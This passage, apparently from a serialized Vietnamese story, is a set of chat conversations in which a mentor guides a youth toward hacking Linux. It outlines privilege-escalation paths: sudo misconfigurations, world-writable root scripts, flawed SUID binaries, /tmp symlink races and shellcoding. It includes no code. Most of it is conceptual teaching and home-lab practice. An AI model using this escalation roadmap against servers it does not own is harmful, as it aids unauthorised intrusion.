- em không thể điều chỉnh nội dung index.html kia: đây là hiện tượng. Nếu phân tích hiện tượng này thì em thấy rằng, để có thể thực hiện việc điều chỉnh này em phải có đủ chủ quyền, để có đủ chủ quyền em phải là 'root', để biến em thành 'root' hoặc mượn tay 'root' thì em phải hiểu rõ những điểm nào trong hệ thống có thể cho phép cho em thực hiện: đây là 'giềng mối' hiện tượng.
- em cần phải tham khảo và hiểu rõ ls, umask, chmod, chown và chgrp là vì ls cho phép em liệt kê tính chất và thể trạng của các hồ sơ và thư mục, umask ấn định các thể trạng này cho tình trạng mặc định và chmod, chown và chgrp thay đổi hoặc ấn định lại thể trạng hiện có sang thể trạng mới: đây là 'giềng mối' thể trạng.
Em đọc ba ví dụ trên rồi suy gẫm đi "
"cuti" lặng thinh hồi lâu rồi đáp, có phần gay cấn:
"grừ... anh nói chuyện độc thiệt, nhưng anh dùng nhiều từ làm em lùng bùng rồi . Em chưa hề thấy có sách giáo khoa nào về IT mà đề cập những điểm: sự việc, hiện tượng và thể trạng như anh. Một lệnh là một lệnh, một quyển sách là một quyển sách.... em chưa hề thấy qua lối diễn giải sự việc như anh. Thật tình em hơi bị lùng bùng đây anh ạ. Em không hiểu tại sao em phải hiểu rõ giềng mối thể trạng của các lệnh. Bộ muốn trở thành một người rành rẽ về IT thì phải hiểu rõ các 'giềng mối' mà anh đưa ra sao?"
Tự nhủ là mình nên kiên nhẫn vì "cuti" đã 'lỡ' ám ảnh với lối suy nghĩ cục bộ, tôi tiếp tục trả lời:
"Những ví dụ về 'giềng mối' trên là đúc kết logic của những trường hợp anh em mình đang đi qua. Nếu em chỉ hiểu ở mức độ 'một lệnh là một lệnh', em chỉ cần biết gõ lệnh nào đó còn chuyện gì gì xảy ra đằng sau là chuyện em không muốn biết thì em chỉ dừng lại ở mức độ người dùng bình thường. Em còn nhớ chi tiết chuyện 'nhấn nút' trước đây không? Người dùng bình thường chỉ... nhấn nút và chờ kết quả. script kiddie cũng nhấn nút và chờ kết quả. Tuy nhiên, hacker nhấn nút và biết rõ ngay sau khi nút được nhấn, chuyện gì đã và đang xảy ra. Bởi vì hacker đã khiến cho cái 'nút' kia thực thi những điều cụ thể mà anh ta muốn. 'Lệnh' cũng như 'nút' vậy, chúng đều là phương tiện để tác động đến hệ thống. 'hacker' không những biết những phương tiện tác động căn bản, hiểu rõ cơ chế và giềng mối làm việc của chúng mà còn phải có khả năng tạo 'nút' và 'lệnh' để thoả mãn đòi hỏi của mình. Nếu chưa nắm được 'nút' và 'lệnh' làm những gì đến hệ thống thì việc tạo thêm 'nút' và 'lệnh' là chuyện không thể xảy ra. Đây chính là vấn đề thuộc về giềng mối.
Riêng chuyện ngôn từ anh dùng thì... em thông cảm hả? anh quen dùng những từ ấy rồi. Vả lại anh không biết em dùng những từ nào tương đương nên đành phải dùng những từ anh quen thuộc, hì hì."
"cuti" tiếp tục vặn:
"Vậy anh có thể nói rõ hơn cái 'giềng mối' giữa ls, umask và chmod được không anh? Tại sao anh đơn cử mấy lệnh này? Em thấy vấn đề 'giềng mối' anh đưa ra ở đây chưa tỏ lắm. Hay là em lù khù quá nên chưa nắm được ý anh."
Tôi đáp:
"Anh nghĩ anh đã giải thích khá rõ trong e-mail và trong câu trả lời trên rồi mà? Em nên xem lại. Có lẽ mình đi xuyên qua vấn đề hơi nhanh nên em chưa có đủ thời gian để suy gẫm đó thôi. Rồi, câu hỏi tiếp theo là gì?"
"cuti" vẫn kiên trì:
"Đúng là anh đã giải thích về chuyện 'giềng mối' rồi nhưng em vẫn thắc mắc là làm sao mình biết khi nào mình cần dùng lệnh ls, khi nào mình cần dùng lệnh chmod chẳng hạn? Em cần được đả thông khúc mắc này trước khi em có thể hỏi câu tiếp theo."
Tôi trả lời "cuti":
"Chà, điều em cần đả thông ở đây là sự nhuần nhuyễn một hệ điều hành và những phương tiện tác động đến nó để thực hiện điều mình muốn. Để đạt được chuyện này, em phải dùng nó, phải thử nghiệm, phải biến 'lạ' thành 'quen'. Nói một cách khác, em phải là một 'user' thật sự trên hệ điều hành này trước khi em trở thành một 'hacker'. Nếu em dùng hệ điều hành đến mức nhuần nhuyễn, tự nhiên em biết được khi nào em cần dùng lệnh nào để thực hiện chuyện gì. Đây là cái 'what' mà em phải thực hiện."
"cuti" trở nên gàn bướng:
"Nhưng đợi đến khi em thành thạo hết những 'lệnh' kia thì biết cho đến bao giờ hở anh? Điều em thắc mắc là có một quy trình gì đó để thao tác những lệnh đó không anh?"
Tôi hơi thất vọng vì lại phải quay lại giai đoạn này. Tôi đáp:
"Hèm, anh nghĩ mình đã thống nhất với nhau là: em phải hiểu rõ hệ thống trước khi có thể 'hack' hệ thống rồi mà? Việc em dành thời gian cài một cái Linux server và cố gắng làm quen với nó chính là quá trình hiểu hệ thống đó. Ở đây anh giúp em một điều: giới hạn lại những điểm cần tìm hiểu cho việc điều chỉnh nội dung index.html kia thì cần tham khảo những lệnh nào. Anh không khuyến khích học 'lệnh' mà anh chỉ khuyến khích học 'system'. Tuy nhiên để em đỡ mất thời gian, anh giới thiệu vài 'lệnh' để em tập trung vào một phần nào đó của system. Còn chuyện quy trình thì anh nghĩ là không có quy trình gì cả. Các bước thẩm định, dò xét để chọn lựa hướng giải quyết của mỗi người đều khác nhau.
Đến một mức nào đó, quá trình hình thành hướng giải quyết và cách giải quyết cụ thể chỉ thuần tuý phụ thuộc vào khả năng sáng tạo của mỗi cá nhân mà thôi. Những lệnh căn bản như ls, umask là những lệnh không thể thiếu để thẩm định. Thẩm định còn có thể mở rộng ra bằng cách phối hợp một số 'lệnh' để mang lại kết quả nhanh chóng và trung thực hơn. Anh cho rằng không có một công thức hay quy trình nào cả. Cùng lắm là mọi người đều chọn chung một hướng giải quyết là đi từ dễ đến khó, từ đơn giản đến phức tạp."
"cuti" reo lên:
"Vậy thế nào là đơn giản, thế nào là phức tạp? thế nào là dễ và thế nào là khó hở anh?"
Tôi cười, đáp:
"Em không đùa đấy chứ? Em không biết thế nào là đơn giản, phức tạp, dễ và khó hay sao? Hay ý em muốn nói trong khuôn khổ điều chỉnh nội dung index.html ở đây mà thôi?"
"cuti" đáp một cách thoả mãn:
"Đúng rồi anh, có vậy mới được chớ? hì hì. Em chỉ muốn biết cách nào là cách đơn giản, dễ để điều chỉnh nội dung index.html kia. Cách nào là cách khó và phức tạp. Anh nói qua chuyện này đi?"
Tôi đáp:
"Hì hì, em vẫn chưa thoát khỏi con ma 'thiếu kiên nhẫn', nó cứ đi theo em và 'ám' em mãi vậy? . Em chỉ muốn thấy kết quả liền liền thôi. Anh có thể nói đến các thao tác để em nghe nhưng làm như vậy bị hỏng hết kế hoạch của anh em mình. Làm như vậy em không còn có chuyện để tìm hiểu và thâu thập nữa."
"cuti" chống chế:
"Hì hì, dạ đúng rồi. Em đúng là muốn thấy ngay kết quả. Nhưng anh thông cảm cho em tí đi. Dù gì em cũng còn nhỏ dại, thiếu kiên nhẫn mà. Nếu em mà điềm đạm, kiên nhẫn thì em đã thành một ông... già khó tánh như anh rồi . Nếu anh nghĩ rằng mình không nên đốt giai đoạn thì em không tò mò thêm nữa đâu."
Tôi mỉm cười, nghĩ ngợi vài giây rồi trả lời "cuti":
"Hèm.... 'nhỏ dại' thì phải làm gì đó mới 'lớn lên' được chớ em? Không nên viện lý do 'nhỏ dại' để làm sai hướng mình đi. Hơn nữa, nếu lúc nào cũng chống chế bằng sự 'nhỏ dại' thì khó mà 'lớn lên' được. Thật ra anh có thể tổng hợp lối giải quyết vấn đề một cách chung chung cho em xem. Tuy nhiên, em nên nhớ đây không phải là một quy trình hay công thức gì cả, đây chỉ là những thẩm định và thực thi mang tính thói quen và kinh nghiệm mà thôi. Giả sử em đánh cuộc với anh là làm sao anh có thể đổi nội dung index.html thì anh sẽ làm như sau, không nhất thiết phải theo đúng thứ tự:
- trước tiên, dùng ls để xem chủ quyền ấn định đến hồ sơ này. Nếu nó cho phép mọi người 'viết' và 'đọc' --> game's over.
- nếu nó cho người tạo ra hồ sơ này và một nhóm người dùng nào đó (group) được phép 'viết' và 'đọc', anh xem thử umask ấn định chế độ chủ quyền theo mặc định ra sao để đánh giá mức cẩn thận của người làm chủ server này --> anh tìm cách đưa tài khoản của anh vào group này --> nếu được, game's over.
- nếu nó chỉ cho người tạo ra hồ sơ này muốn làm gì thì làm, ngoài ra mọi người chỉ được phép 'đọc' --> cái này dẫn đến nhiều chọn lựa.
a. anh xem thử sudo được ấn định thế nào. Nếu sudo ấn định lỏng lẻo và cho phép anh thay đổi một script nào đó hoặc mượn tay root để làm gì đó --> game's over
b. nếu sudo quá chặt chẽ, em mới dò tìm xem trên system này có 'world-writeable' script nào không. script cần cho root thực thi thì càng tốt. Nếu có --> game's over
c. nếu không tìm ra được gì hết, anh mới chuyển qua tìm xem có binary nào trên system có SUID và bị lỗi. Nếu có --> game's over.
d. nếu tìm không ra SUID có lỗi, anh mới nghĩ đến chuyện tìm những chương trình hay dịch vụ nào chạy với chủ quyền super user và cần tạo hồ sơ tạm thời ở /tmp. Nếu các chương trình này thiếu sanity check trước khi tạo temp file thì anh dùng symlink để mượn tay 'su' đổi chủ quyền một file nào đó anh chọn trước để khai thác password hoặc những thứ tương tự --> game's over
e. nếu system này... chiến quá, không có chương trình nào hoặc dịch vụ nào thiếu sót trong phần sanity check trước khi tạo temp file thì anh mới nghĩ đến shellcoding. Tìm cách dò ra một vị trí nào đó trên memory đang được 'su' dùng và bắt nó thực thi một chuyện gì đó tiện lợi cho anh để biến anh thành 'root' --> game's over.
Nếu đi xuyên qua các dạng thẩm định trên (cộng với các phối hợp) mà vẫn không tìm ra kẻ hở --> bó tay.
Nếu xét về mặt khó hay dễ, đơn giản hay phức tạp thì a -> e tạm xem là thứ tự. Tuy vậy, mỗi dạng thăm dò và quyết định phương hướng có thể mở ra nhiều khả năng khác nhau, mức đơn giản và phức tạp sẽ thay đổi. Bởi vậy, trình tự cụ thể và rõ ràng là chuyện không thể có được."
"cuti" khoái chí đáp:
"Thấy chưa? em 'moi' một chặp cũng ra thôi. Anh đưa ra a -> e không đơn giản và dễ hiểu hơn sao?"
Tôi đáp:
"Tất nhiên là 'đơn giản và dễ hiểu' nếu như em vẫn còn đeo cứng lối khai triển và thực hiện theo kiểu 'step-by-step'. Nếu em hiểu rõ việc ứng dụng các cơ chế làm việc trên máy chủ, tự nhiên em hiểu rõ vấn đề và hiểu rất sâu về nó. Nếu em không hiểu rõ việc ứng dụng các cơ chế mà chỉ làm theo các 'steps' thì sự thất bại chiếm trên 90% vì khi gặp trở ngại, em không biết cách đổi hướng hay vận dụng thêm các chọn lựa khác để thay đổi tình hình. Nên nhớ, anh không 'chỉ vẽ' chuyện 'khai thác' ở đây. Anh chỉ đưa ra ví dụ và phân tích cái gọi là 'giềng mối' cho em thấy rõ 'giềng mối' là thế nào mà thôi. Nếu em hỏi anh SUID là gì, làm sao khai thác nó thì anh sẽ không trả lời vì anh không biết phải trả lời thế nào. Cho đến khi em tìm ra SUID là gì, nó có tác dụng gì, tại sao có nó thì tự nhiên em sẽ có câu trả lời 'làm sao để khai thác nó' mà thôi ."
"cuti" bức xúc thấy rõ:
"Trời, anh lúc nào cũng úp úp, mở mở . Anh đúng là làm khó em."
Tôi cười phá lên vì "cuti" bị lạc đề và đi đến việc ngộ nhận vấn đề một cách trầm trọng. Tôi nói tiếp:
"Này ông thần nước mặn, anh em mình đang nói chuyện 'giềng mối' hay anh em mình đang bàn chuyện 'exploit' ở đây vậy? Em đừng nóng nảy như thế. Liệu trước giờ em đã 'chat' với ai ở cấp độ anh em mình đang 'chat' chưa? Nếu chưa thì em không nên cho là anh 'úp úp, mở mở' ."
"cuti" chống chế và phụng phịu:
"Hông phải, hông phải. Ý em trách móc gì anh hết. Em thấy 'giềng mối' được thể hiện qua quy trình exploit là dễ thấy và dễ hiểu nhất. Anh dùng ví dụ a -> e tự nhiên em thấy thông hẳn ra. Thế nhưng anh lại quay về chuyện khái niệm. Để em tiêu hoá được mớ khái niệm này chắc chết mất."
Tôi quyết định trở nên cứng rắn với "cuti" không thì hỏng bét. Tôi đáp:
"Nếu em không tiêu hoá nổi mớ 'khái niệm' kia thì em sẽ không bao giờ có thể 'hack' được. Anh phải nhấn mạnh điều này bởi vì có ba điểm quan trọng như sau:
- những cái em gọi là 'khái niệm' kia chính là kỹ năng lập luận và định hướng. Không có nó, em không làm gì được (và chỉ có thể ngồi đó chờ được mách nước). Kỹ năng này giúp cho em không chỉ mở một 'ổ khoá' mà nhiều 'ổ khoá'. Em chọn lựa lối tiếp thu 'step-by-step' thì chắc chắn em chỉ có thể mở được một 'ổ khoá' mà thôi.
- từ những thứ gọi là 'khái niệm' kia, nó tạo điều kiện cho em tìm hiểu và hiểu những kiến thức cần thiết để hình thành những 'giềng mối' của cả một hệ thống làm việc.
- nếu em chỉ 'nhắm mắt' mà thực thi các 'lệnh', em vướng vào một thế giới cực kỳ mơ hồ và nguy hiểm."
"cuti" cố chống chọi:
"Trời, có gì mà nguy hiểm anh? Cùng lắm là làm không được thôi mà ."
Tôi cười, đáp:
"Nếu anh cho em một đoạn script hoặc một đoạn mã nguồn và anh nói rằng: 'chạy nó đi, nó sẽ thực hiện điều em muốn' nhưng bên trong đoạn script hoặc đoạn mã nguồn này tàng chứa những 'thứ' nguy hiểm khác mà em không biết. Liệu em có chạy nó không?"
"cuti" cười giã lã:
"Chẳng lẽ anh mà lại 'chơi' em sao? Tất nhiên là em chạy nó liền mà chẳng ngần ngại."
Tôi đáp:
"Đó chính là điểm nguy hiểm mà em không nhận ra. Cứ cho là anh không làm chuyện đó nhưng làm sao em dám chắc là một chương trình nào đó em download từ Internet về hoàn toàn đáng tin cậy nếu em không soi xét nó kỹ lưỡng? Và để soi xét kỹ lưỡng nhất định em phải có đủ kiến thức cần thiết. Em dùng một thứ công cụ, một đoạn script, một đoạn mã nguồn với mục đích 'exploit' mà bị 'exploit' bởi chính công cụ mình dùng thì... hack hiếc cái nỗi gì?"
"cuti" đáp:
"Trời, em chưa bao giờ nghĩ đến điểm này. Có lẽ em chưa có đủ kinh nghiệm 'chiến trường' mà thôi."
Tôi trả lời:
"Ừa, chưa đủ kinh nghiệm 'chiến trường' thì quá rõ nhưng vấn đề mình đang bàn ở đây là mình phải có đủ kiến thức để xem thử mình đang 'chơi' với cái gì và chắc chắn lối khai triển 'step-by-step' sẽ không giúp được em. Hơn nữa, nếu hiểu rõ, mình có thể dùng nó để 'cải thiện' cho mục đích cụ thể của mình. Nhưng thôi, anh nghĩ mình đi hơi xa chủ đề rồi đó. Em nên lưu lại trọn bộ nội dung cuộc nói chuyện của anh em mình hôm nay và về đọc kỹ lại đi. Nếu được, lần sau em làm một bản 'tổng kết' những gì mình bàn cãi cho đến lúc này. Được không 'cuti'?"
"cuti" nhanh nhảu:
"Dạ được chớ anh, chuyện nhỏ như con thỏ thôi mà. Anh phải đi à?"
Tôi đáp:
"Ừa, anh phải đi. Anh dính chặt vào cái máy cả tiếng đồng hồ rồi. Anh phải đi có công chuyện. Cần gì cứ YIM cho anh nha. Chào cuti."
"cuti" vẫn hóm hỉnh:
"Chào anh già... dễ tánh".
Và tôi logoff.
12/7/2005
<còn tiếp>
|
|
|
6. "Vật vã":
Điều lạ đã xảy ra. Suốt tuần lễ này tôi không hề nhận được một thông điệp nào từ "cuti". Tôi không thể đoán nổi "cuti" bận học hành, thi cử hay cu cậu đã chán nản "con đường chông gai". Dù gì đi chăng nữa, tôi đã có ít nhiều cảm mến "cuti" ở cái tính thật thà và hóm hỉnh của cu cậu. Một phần nào đó thầm kín trong lòng, tôi mong "cuti" đừng bỏ cuộc.
Thế rồi, sang tuần lễ thứ hai, tôi nhận được một thông điệp ngắn gọn và bí hiểm từ "cuti":
"Chào anh già khó tánh. Em đang vật vã đây nhưng cũng chưa đến nỗi 'lực cùng, sức tận'. Em sẽ cho anh biết kết quả thử nghiệm của em". Tôi lẩm bẩm "chà, có gì mà bí hiểm quá vậy? 'thử nghiệm'? chắc cu cậu đã táy máy cái gì đây.". Tôi thấy vui vì thông điệp này chứng tỏ cu cậu chưa bỏ cuộc nhưng lại thắc mắc không hiểu lý do tại sao "cuti" lại trở nên tiết kiệm ngôn từ đến thế.
Tôi tiếp tục lao vào công việc suốt những ngày còn lại của tuần lễ. Mãi đến chiều thứ Bảy, rảnh rỗi một tí, tôi log vào YIM để xem các "offline message". Như thường lệ, tôi nhận hàng đống thông điệp và thong thả trả lời từng cái một. Quả nhiên có vài cái thông điệp của "cuti". Lần này "cuti" có vẻ rất khẩn trương:
"Ui, anh già khó tánh co đó không? Em bó tay rồi á. Anh có online cho em biết với"
Một thông điệp khác:
"Cuối tuần chắc anh rảnh hả? Lúc nào tiện, cho em biết. Em sẽ online cuối tuần để nhờ anh chỉ cho em thêm vài 'khẩu quyết'.".
Tôi chậc lưỡi: "Chà, cuti này làm gì mà có vẻ bí hiểm thật." Tôi đoán chắc cu cậu đang táy máy cái gì đây như bị tắc tị. Tôi bèn gởi cho "cuti" một thông điệp:
"Hello cuti, anh hiện đang online. Có cần gì thì vào mà hỏi. Anh sẽ online từ 2 giờ chiều đến tối đa là 3 giờ."
Không đầy một phút, tôi nhận được thông điệp của "cuti":
"Dạ, em đây. Em ngồi chờ từ sáng đến giờ á."
Tôi cười, đáp:
"Hì hì, rảnh rỗi quá hả? 'nằm' trên Internet thường trực? Mà này, em cũng chơi trò 'invisible' như anh hả? Có chuyện gì mà có vẻ khẩn trương vậy?"
"cuti" rối rít:
"Dạ, em chuyển sang 'invisible' để khỏi bị quấy rầy. Cả hai tuần qua em chả chat với ai cả mà gầm đầu vào để tìm hiểu lời thử thách của anh."
Tôi ngạc nhiên:
"Ủa, 'lời thử thách' nào của anh vậy?"
"cuti" nhanh nhẩu:
"Trời, mới có hai tuần mà anh quên béng hết rồi sao? Cái thử thách anh nói là anh cho em IP, account của một Linux box để em vào hack đó. Anh còn nhớ không?"
Tôi bật cười nhưng không kém phần ngạc nhiên. Quả tôi có 'thách' "cuti" thật nhưng đó chỉ là một chi tiết trong cuộc đàm thoại để làm rõ quan điểm của tôi mà thôi. Không ngờ "cuti" tiếp nhận vấn đề một cách nghiêm túc và nghiêm trọng. Tôi đáp:
"À, tất nhiên là anh nhớ chớ. Nhưng đó đâu phải là điều anh thách thức một cách chính thức đâu? Đó chỉ là một cách làm rõ quan điểm thôi mà em. Hơn nữa, anh nhớ là em chịu thua rồi mà? "
Không ngờ "cuti" trả lời như sau:
"Dạ, em thua thật nhưng sau khi nói chuyện với anh lần thứ nhất, rồi đến lần thứ hai. Mọi điều anh em mình trao đổi em đều ghi nhớ và cố gắng suy gẫm. Có những điều em suy không ra, nhưng cũng có nhiều điều em thấy thấm lắm. Cho nên, những điều anh nói em đều cho rằng phải có một ẩn ý nào đó. Hơn nữa, quả thật anh đã 'thách thức' em mà. Em đã chịu thua nhưng sau đó nghĩ ngợi lại em thấy ấm ức chịu không nổi. Thế là em bắt tay vào thử nghiệm."
Hơi ngạc nhiên, tôi hỏi tiếp:
"Rồi sao nữa?"
"cuti" tiếp tục:
"Dạ. Em chỉ có một con Pentium 3 mà thôi. Lần trước em học đòi cài đặt Linux, xém chút nữa là tiêu cái Windows của em. Bây giờ em muốn học Linux nên em... vòi mẹ em tiền để sắm một con Pentium 4. Em viện lý do là em phải học mạng, cần hai máy nên rốt cuộc mẹ cho tiền sắm thêm một con P4. Thật là thích. Con này mạnh nên em mang cái đĩa chạy Windows qua và dùng con cũ để cài Linux."
"cuti" đưa tôi đi từ ngạc nhiên này đến ngạc nhiên khác, tôi hỏi tiếp:
"Thế rồi sao?
"cuti" hớn hở đáp:
"Em tậu con P4 chỉ trong vòng 2 ngày là có và đến ngày thứ 3 thì em đã có con P3 cũ để vọc quậy với Linux. Em mua một bộ đĩa RedHat 9 và tham khảo đống e-book của em để cài lại con Linux này. Ròng rã mấy ngày trời, em hoàn tất con Linux. Có hôm em thức đến mấy giờ sáng, ngủ chập chờn một tí rồi thức dậy đi học."
Tôi thầm cảm phục cái "bướng bỉnh" và quyết tâm của "cuti". Không ngờ cu cậu quá nghiêm trọng với chi tiết "thách thức" kia. Tôi hỏi tiếp:
"Vậy, cài xong con Linux kia, em dự định làm những gì?"
"cuti" đáp tỉnh khô:
"Trời, vậy mà anh không biết sao? Em định tạo dịch vụ web trên con Linux này rồi tự 'hack' nó để thay đổi trang chủ y hệt như lời anh thách thức em đó. Nhưng cài xong em chẳng biết thằng apache làm việc ra sao nữa. Khi cài, em chọn cài tất cả nên có tùm lum tá lả dịch vụ trên máy chủ này. Em lại lọ mọ tham khảo cuốn e-book nói về apache để xem nó làm việc ra sao. Anh cũng biết là tiếng Anh của em dỏm số một nên nhiều lúc tham khảo mấy tài liệu kia choáng váng cả mặt mày. Nhưng rốt cuộc em cũng đã hoàn tất được thằng apache rồi. Mất của em ròng rã mấy ngày trời á."
Tôi cười rộ vì lối suy nghĩ "thẳng ruột ngựa" của "cuti" nhưng đồng thời cảm thấy mến cu cậu nhiều hơn. Mến ở chỗ cu cậu không chỉ "nói miệng" mà dám gát qua hết mọi chuyện để tạo ra một môi trường để tự thử nghiệm và kiểm chứng. Tôi đáp:
"Tốt lắm đó 'cuti'. Em dám hy sinh thời gian và những 'trò chơi' thông thường để tự hình thành cho mình một cái Linux server trong khoảng thời gian ngắn như vậy thì quả thật xuất sắc. Anh thật lòng hoan nghênh em đó "
"cuti" hồ hởi:
"Anh nói thật sao? ặc ặc, hu hu, sướng quá đi mất. Em cứ tưởng anh sẽ mắng cho em một chặp vì tội phí thời gian cài một con Linux để chứng minh một chuyện chẳng là cái gì hết. Ặc, ặc... em tưởng anh thật sự là 'anh già khó tánh' nhưng không ngờ anh cũng biết khen đó chớ, hì hì."
Tôi đáp:
"Trời, sao không khen được "cuti"? Nếu em làm một chuyện gì đúng và có giá trị thì phải được khen mới phải chớ? Anh khen vì anh thấy em không chỉ 'nói miệng' cho xong chuyện nhưng em đã thật sự bắt tay vào làm một việc cụ thể. Chưa biết kết quả công việc đó như thế nào nhưng ở giai đoạn tìm hiểu với một người như em, theo anh, em đã đạt một bước đầu hết sức quan trọng: học đi đôi với hành. Cái này cũng chứng tỏ là em có đủ ham muốn để tìm hiểu và làm sáng tỏ điều mình thắc mắc. Thật sự, anh thấy rất vui khi nghe chuyện này."
"cuti" rên rỉ:
"Hic hic, hơn một tuần qua em 'phờ phạc' với con Linux này. Giờ được khen tự nhiên bao nhiêu mệt nhọc biến đi đâu hết. Anh là một người rất 'nguy hiểm'! hì hì. Lý do em muốn gặp anh là vì em thấy muốn đổi thông tin trên trang chủ của website quá đơn giản. Em nghĩ là anh đố 'mẹo' em gì đây. Em nghĩ nát óc mà không ra lý do. Anh chỉ cho em với."
Tôi cười, hỏi lại:
"Thứ nhất, tại sao nghĩ anh là người nguy hiểm? Thứ hai, em điều chỉnh thông tin trên trang chủ của website em tạo ra bằng account nào và bằng công cụ nào vậy?"
"cuti" nhanh nhảu:
"Thứ nhất, anh là người 'nguy hiểm' vì anh có khả năng 'hành hạ' bộ não của em rồi sau đó mới khen một tiếng. Cú khen này thấy 'phê' hơn các cú khen thông thường. Theo em, như vậy là... 'nguy hiểm' . Thứ nhì, ý anh account nào là sao? khi em cài con RH9 này nó cho phép em chọn mật mã của account root cho nên em chỉ dùng root từ bữa giờ thôi. Đâu có account nào khác đâu? Còn công cụ thì em thấy có cái Gnu Text Editor gì đó nên em dùng vậy thôi."
Tôi đáp:
"À ra vậy. Thứ nhất, nếu em nghiệm ra được anh là người 'nguy hiểm' thì không chừng em còn 'nguy hiểm' hơn anh. Thứ hai, em nghĩ lần trước anh đánh cuộc với em chuyện sửa nội dung một trang web trên Linux server, anh sẽ cho em root account sao? . Nếu vậy còn gì vui nữa. Anh chỉ cho em một account như một người dùng bình thường trên server này thôi. Còn chuyện em dùng Text Editor gì đó thì có nghĩa là em chạy trên môi trường GUI hả?".
"cuti" thắc mắc:
"Vậy root account với account của người dùng bình thường khác nhau thế nào anh? Và anh nói chuyện GUI, có phải ý anh là làm việc trên giao diện đồ hoạ phải không?"
Thấy rõ "cuti" còn hổng nhiều điểm căn bản, tôi ngẫm nghĩ cách tốt nhất để giải thích cho cu cậu. Sau đó tôi trả lời:
"Anh nghĩ em rành Windows nên anh tạm dùng Windows để em dễ liên tưởng. Thế này, trên Windows, Administrator có chủ quyền cao nhất, có nghĩa là ai dùng account này có thể làm bất cứ chuyện gì trên máy. Trên *nix nói chung, root chính là Administrator vậy. Thông thường ít có ai (kinh nghiệm với *nix) mà dùng root account để làm việc bởi vì quá nguy hiểm. Nguy hiểm ở chỗ nếu 'lỡ tay' thì không cứu vãn được vì root có uy quyền tuyệt đối. Bởi thế, admin của server thường tạo các account thông thường cho người dùng thông thường. Chỉ có những trường hợp cần thiết thì mới chuyển sang su (super user mode - hay còn gọi là root mode). Trong trường hợp của em, em phải tạo thêm một account bình thường cho người dùng rồi mới dùng account này để 'hack' thì mới gần với hoàn cảnh chuyện anh đánh cuộc với em.
Riêng chuyện GUI thì thế này. GUI giúp cho những người mới làm quen *nix thấy dễ dàng và nó rất tốt nếu em có thể dùng nó như một dạng desktop để làm việc. Tuy nhiên, trong trường hợp anh cho em một account trên một Linux server nào đó để 'hack' thử, em thử nghĩ xem, em sẽ login server này bằng cách nào?"
"cuti" đáp ngay:
"Em nghĩ là phải dùng một dạng 'pcanywhere' hay 'terminal service' để log vào chớ sao nữa anh?"
Tôi cười đáp:
"Hì hì, trên *nix làm gì có 'pcanywhere' hay 'terminal service'? Thông thường, để bảo mật, những dạng dịch vụ cung cấp khả năng truy cập theo dạng GUI (trên *nix còn gọi là X) hoàn toàn bị loại bỏ vì rất dễ bị 'khai thác'. Nếu vậy, theo em thì mình log vào bằng cách nào?"
"cuti" ngẫm nghĩ rồi đáp:
"Bằng telnet phải không anh?"
Tôi đáp:
"Gần đúng! ngày trước dịch vụ telnet được dùng rất phổ biến nhưng ngày nay rất hiếm thấy máy chủ cung cấp phương tiện truy cập đến dịch vụ telnet vì lý do thông tin trao đổi giữa telnet client và telnet server hoàn toàn là 'cleartext' nên dễ bị 'sniff' (kể cả password). Thay vào đó, ngày nay người ta dùng ssh là chính."
"cuti" hớn hở:
"A, em có nghe đến SSH rồi nhưng chưa hề mó qua nó. Vậy mình truy cập vào bằng đường SSH có nghĩa là mình chỉ có một cửa sổ đen ngòm để làm việc phải hông anh?"
Tôi xác nhận:
"Đúng thế, em sáng dạ lắm . Mình chỉ có một cửa sổ 'đen ngòm' để làm việc. Muốn có nhiều cửa sổ thì mình phải login nhiều lần. Rồi, nếu mình login qua ssh và có cửa sổ 'đen ngòm', vậy liệu em có thể dùng "Notepad" gì để để điều chỉnh hồ sơ trên website không?"
"cuti" liến thoắn:
"Hi hi, anh ghẹo em hoài. Lúc này không có GUI thì làm sao mà 'Notepad'? Vậy mình phải dùng cái gì để thực hiện chuyện điều chỉnh đây anh?"
Tôi cảm thấy phải đi chầm chậm với "cuti" không thì cu cậu choáng ngợp thì hỏng hết, bèn đáp:
"Ừa, khi làm việc với *nix, một trong những công cụ căn bản và không thể thiếu là vi hoặc emacs. Em phải học cách sử dụng một trong hai công cụ này. vi thì phổ biến và đơn giản hơn, emacs thì có server không dùng nhưng nó cao cấp hơn. Anh nghĩ em nên làm quen với vi trước."
"cuti" reo lên:
"Hi hi, vi? cái tên gì ngộ thật Em chưa từng nghe qua, đừng nói chi là đụng đến nó. Vậy mình có cần cài gói vi không anh?"
Tôi đáp:
"Không em, vi có sẵn khi em cài Linux rồi đó vì nó là một trong những gói căn bản nhất. Em xem thử trong mớ e-book của em có cuốn sách nào nói về vi không? anh nhớ mang máng là O'Rilley có một cuốn chuyên chú về vi đó. Nếu không có, cho anh biết để anh tìm vài cái link trên Internet chỉ cách học và thực tập vi cho."
"cuti" trả lời ngay:
"Dạ, chờ em một tí thôi, con Windows của em ngay trên bàn, để em xem liền thử có cuốn e-book này không."
Tôi ngồi chờ "cuti" và cố hình thành một phương án ngắn gọn để 'đưa' "cuti" đi từ chỗ thiếu lớp lang đến chỗ có lớp lang hơn. Cái khó là vấn đề thời gian và phương tiện liên lạc. Tôi thì rất ít có thời gian để vào YIM. Ngay cả vào YIM và chat bằng text thì chẳng 'hiệu xuất' vì chậm quá. Tôi thầm nhủ "thôi thì cứ từng bước mà mần, xem thử cuti kéo dài được bao lâu rồi tính tiếp". Sau vài phút, "cuti" gởi cho tôi một thông điệp khác:
"Anh già khó tánh ơi, còn đó hông? Em đã tìm ra được cuốn e-book của O'Rilley anh nói rồi đó. Em nghĩ đúng là nó vì trong đống e-book của em chỉ có một cuốn nói về vi. Hi hi, bây giờ em mới thấy quý cái 'kho' ebook của em. Trước giờ cứ để nó một góc mà chẳng biết tận dụng nó."
Tôi đáp:
"Tốt lắm. Sẵn có hai máy, em mở cái ebook đó trên Windows và dợt vi trên Linux đi. Nhưng nhớ đừng tự dồn ép quá mà không tốt và dễ bị nản. Thức ăn dành cho não bộ cũng như thức ăn dành cho... bộ lòng . Em phải ăn uống điều độ thì nó mới tiêu hoá và tiếp thu được. Ráng dồn cho nhiều vào thế nào cũng bội thực cho mà xem. À mà này, em đã nắm khái niệm 'root' account và account cho người dùng bình thường chưa?"
"cuti" hóm hỉnh:
"Đơn giản quá mà anh. Anh cứ dùng Windows giúp em liên tưởng Linux thì em hiểu liền liền thôi. Còn chuyện dồn ép thì anh đừng lo. Hễ em thích thì bao nhiêu cũng được hết. Anh thấy không, gần hai tuần qua em vật lộn với con Linux, vừa đọc tài liệu vừa ráng hiểu vậy mà cũng cài được con Linux mà. Em chẳng thấy mệt gì cả mà lại thấy thích vì lần đầu tiên em cài nó vì có mục đích rõ ràng "
Tôi cười và đáp:
